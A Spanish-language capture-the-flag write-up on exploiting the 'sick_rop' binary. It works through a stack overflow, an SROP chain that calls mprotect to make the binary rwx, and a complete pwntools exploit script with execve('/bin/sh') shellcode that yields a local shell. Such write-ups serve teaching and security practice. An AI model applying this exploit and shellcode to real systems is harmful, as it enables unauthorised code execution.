Reversing
Si ejecutamos el binario parece que espera una entrada donde enviamos 16 bytes
, el programa devuelve lo que enviamos como entrada todas las veces que lo enviemos
❯ ./sick_rop
AAAAAAAABBBBBBBB
AAAAAAAABBBBBBBB
CCCCCCCCDDDDDDDD
CCCCCCCCDDDDDDDD
Al desensamblar el programa podemos ver que en verdad es muy simple, ni siquiera tiene un main
inicia desde la función _start
que llama a la función vuln
en bucle
La función vuln
lee 0x300
bytes llamando a read
en rbp - 32
, el valor de retorno es la cantidad de bytes leidos, entonces llama a write
para mostrar lo que se recibió
Explotación
Iniciamos mirando las protecciones con checksec
, este no tiene ninguna a excepción del NX
que evitará que podamos ejecutar shellcode
directamente en el stack
❯ checksec sick_rop
[*] '/home/user/sick_rop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Podemos crear un payload, enviaremos 32 A's
para rellenar el buffer antes de rbp
, 8 B's
que seran el valor de rbp en el leave
y 8 C's
que tomaran el valor del return address, y finalmente algunas D's
que simplemente se guardarán en el stack
❯ python3 -q
>>> b"A" * 32 + b"B" * 8 + b"C" * 8 + b"D" * 24
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD'
>>>
❯ gdb -q sick_rop
Reading symbols from sick_rop...
(No debugging symbols found in sick_rop)
pwndbg> r
Starting program: /home/user/sick_rop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDD
Program received signal SIGSEGV, Segmentation fault.
0x000000000040104e in vuln ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe878: 0x4343434343434343
pwndbg> x/s $rsp+8
0x7fffffffe880: 'D' <repetidos 24 veces>
pwndbg>
El valor de retorno en rax
es 0x49
, la cantidad de bytes que se enviaron con el \n
pwndbg> p/x $rax
$1 = 0x49
pwndbg>
Aunque tenemos control del return address y podriamos ejecutar un ropchain los gadgets
que existen en el binario son muy limitados y no nos sirven para cargar valores en registros, el único interesante es syscall
que nos ayudará a explotarlo
❯ ropper --file sick_rop --search 'syscall; ret;'
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: syscall; ret;
[INFO] File: sick_rop
0x0000000000401014: syscall; ret;
Aunque la dirección del stack es aleatoria podemos hacer que apunte a un punto del binario, pero deberemos cambiar los permisos de los 0x2000
bytes a 7
o rwx
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 r--p 1000 0 /home/user/sick_rop
0x401000 0x402000 r-xp 1000 1000 /home/user/sick_rop
0x7ffff7ff9000 0x7ffff7ffd000 r--p 4000 0 [vvar]
0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg>
La tecnica que utilizaremos será un SROP, para ello necesitaremos un par de cosas, la primera es un gadget syscall; ret;
y la segunda es cargar en el registro rax
el valor 0xf
que es el syscall NR de la función sigreturn
, el registro rax
lo controlamos con el valor de retorno que es la longitud, al enviar 0xf
bytes se almacenara en rax
payload = b""
payload += b"A" * 0xf # len = sigreturn()
shell.send(payload)
shell.recv()
Las pwntools nos hace el proceso del SROP mas sencillo asi que creamos un frame
y asignamos los valores que queremos que tengan los registros, nuestra idea será llamar a mprotect
para cambiar los privilegios del binario, entonces almacenamos en rax
el valor 0xa
que es su syscall number y en rip
el gadget de syscall; ret;
frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa # mprotect()
frame.rip = 0x401014 # syscall; ret;
El primer argumento en rdi
será la dirección base del binario, en rsi
la longitud que serán 0x2000
bytes y finalmente en rdx
la protección que es 7
o rwx
frame.rdi = 0x400000 # base address
frame.rsi = 0x2000 # len
frame.rdx = 0x7 # prot
Nuestra idea será redirigir el ret
luego de la syscall
, entonces en rsp
podemos almacenar una dirección que contenta la dirección de la función vuln
, asi retornará nuevamente al bucle y como el stack ahora está en el binario tenemos rwx
pwndbg> p vuln
$1 = {<text variable, no debug info>} 0x40102e <vuln>
pwndbg> search -t qword 0x40102e
Searching for value: b'.\x10@\x00\x00\x00\x00\x00'
sick_rop 0x4010d8 adc byte ptr cs:[rax], al
pwndbg> x/gx 0x4010d8
0x4010d8: 0x000000000040102e
pwndbg>
frame.rsp = 0x4010d8 # &vuln()
Entonces, primero enviamos un payload que rellena con A's
hasta el return address, ahi llamaremos a la función vuln
donde enviaremos 0xf
bytes asi el valor de retorno sera el syscall number de sigreturn
, al retornar ejecutará un syscall; ret;
que ejecutará el frame que creamos y llamará a mprotect
modificando asi los privilegios
#!/usr/bin/python3
from pwn import gdb, p64, SigreturnFrame
shell = gdb.debug("./sick_rop", "b *vuln+32\ncontinue")
offset = 40
junk = b"A" * offset
frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa # mprotect()
frame.rdi = 0x400000 # base address
frame.rsi = 0x2000 # len
frame.rdx = 0x7 # prot
frame.rip = 0x401014 # syscall; ret;
frame.rsp = 0x4010d8 # &vuln()
payload = b""
payload += junk
payload += p64(0x40102e) # vuln()
payload += p64(0x401014) # syscall; ret;
payload += bytes(frame)
shell.send(payload)
shell.recv()
payload = b""
payload += b"A" * 0xf # len = sigreturn()
shell.send(payload)
shell.recv()
shell.interactive()
Veamos como funciona nuestro exploit desde el debugger, al llegar al breakpoint del primer ret
llamará a la función vuln
y luego ejecutará el gadget syscall; ret;
Breakpoint 1, 0x000000000040104e in vuln ()
pwndbg> x/i $rip
=> 0x40104e <vuln+32>: ret
pwndbg> x/i *(long long *)($rsp + 0)
0x40102e <vuln>: push rbp
pwndbg> x/2i *(long long *)($rsp + 8)
0x401014 <read+20>: syscall
0x401016 <read+22>: ret
pwndbg>
Cuando llamamos a vuln
y enviamos 0xf
bytes, cuando llegamos al gadget que sigue después de la función en el registro rax
almacena el valor de retorno que es la cantidad de bytes recibidos que son 0xf
, el mismo syscall number de sigreturn
pwndbg> nextret
Temporary breakpoint -1, 0x0000000000401040 in vuln ()
Temporary breakpoint -2, 0x0000000000401048 in vuln ()
Breakpoint 1, 0x000000000040104e in vuln ()
pwndbg> ni
0x0000000000401014 in read ()
pwndbg> x/i $rip
=> 0x401014 <read+20>: syscall
pwndbg> p/x $rax
$1 = 0xf
pwndbg>
Al ejecutar el syscall
salta al frame que intentará ejecutar la syscall
de la función mprotect
para modificar los permisos de 0x2000
bytes del binario a rwx
pwndbg> ni
0x0000000000401014 in read ()
pwndbg> x/i $rip
=> 0x401014 <read+20>: syscall
pwndbg> p/x $rax
$2 = 0xa
pwndbg> p/x $rdi
$3 = 0x400000
pwndbg> p/x $rsi
$4 = 0x2000
pwndbg> p/x $rdx
$5 = 0x7
pwndbg>
Luego de ejecutar la llamada a mprotect
el binario posee privilegios rwx
por lo que podemos ejecutar un shellcode que podamos guardar en cualquier parte de él
pwndbg> ni
0x0000000000401016 in read ()
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x400000 0x401000 rwxp 1000 0 /home/user/sick_rop
0x401000 0x402000 rwxp 1000 1000 /home/user/sick_rop
0x7ffc09035000 0x7ffc09056000 rw-p 21000 0 [stack]
0x7ffc09089000 0x7ffc0908d000 r--p 4000 0 [vvar]
0x7ffc0908d000 0x7ffc0908f000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg>
Cuando apuntamos al siguiente ret
el frame indica que el registro rsp
apunta a una dirección en el binario que es una referencia a la dirección de la función vuln
pwndbg> x/i $rip
=> 0x401016 <read+22>: ret
pwndbg> p/x $rsp
$6 = 0x4010d8
pwndbg> x/i *(long long *)($rsp)
0x40102e <vuln>: push rbp
pwndbg> c
Continuando.
Entonces como nuevamente se retorna a la función vuln
ahora podemos enviar un total de 40 A's
que es el offset del return address donde apuntaremos a 8 B's
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 166333
[*] running in new terminal: ['/usr/bin/gdb', '-q', './sick_rop']
[*] Switching to interactive mode
$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
$
Aunque en el binario no existe un gadget jmp rsp
como modificamos el rsp
hacia una parte del binario ahora el inicio de nuestro buffer ahora se guarda en la dirección estática 0x4010b8
por lo que podemos apuntar ahi para ejecutar un shellcode
Breakpoint 1, 0x000000000040104e in vuln ()
pwndbg> x/i $rip
=> 0x40104e <vuln+32>: ret
pwndbg> x/gx $rsp
0x4010e0: 0x4242424242424242
pwndbg> x/s $rsi
0x4010b8: 'A' <repetidos 40 veces>, "BBBBBBBB"
pwndbg>
El exploit final ejecutará todo el proceso anterior para ejecutar el mprotect
y modificar los permisos del binario a rwx
, entonces enviamos un shellcode al inicio y rellenamos con A's
hasta el return address donde apuntaremos a la dirección 0x4010b8
donde sabemos que se guarda el inicio del buffer, al correr el exploit nos devuelve una shell
#!/usr/bin/python3
from pwn import process, p64, SigreturnFrame
shell = process("./sick_rop")
offset = 40
junk = b"A" * offset
frame = SigreturnFrame(arch="amd64")
frame.rax = 0xa # mprotect()
frame.rdi = 0x400000 # base address
frame.rsi = 0x2000 # len
frame.rdx = 0x7 # prot
frame.rip = 0x401014 # syscall; ret;
frame.rsp = 0x4010d8 # &vuln()
payload = b""
payload += junk
payload += p64(0x40102e) # vuln()
payload += p64(0x401014) # syscall; ret;
payload += bytes(frame)
shell.send(payload)
shell.recv()
payload = b""
payload += b"A" * 0xf # len = sigreturn()
shell.send(payload)
shell.recv()
# execve("/bin/sh", NULL, NULL);
shellcode = b"\x6a\x3b\x58\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x52\x5e\x0f\x05"
junk = b"A" * (offset - len(shellcode))
payload = b""
payload += shellcode
payload += junk
payload += p64(0x4010b8) # shellcode
shell.send(payload)
shell.recv()
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './sick_rop': pid 170702
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$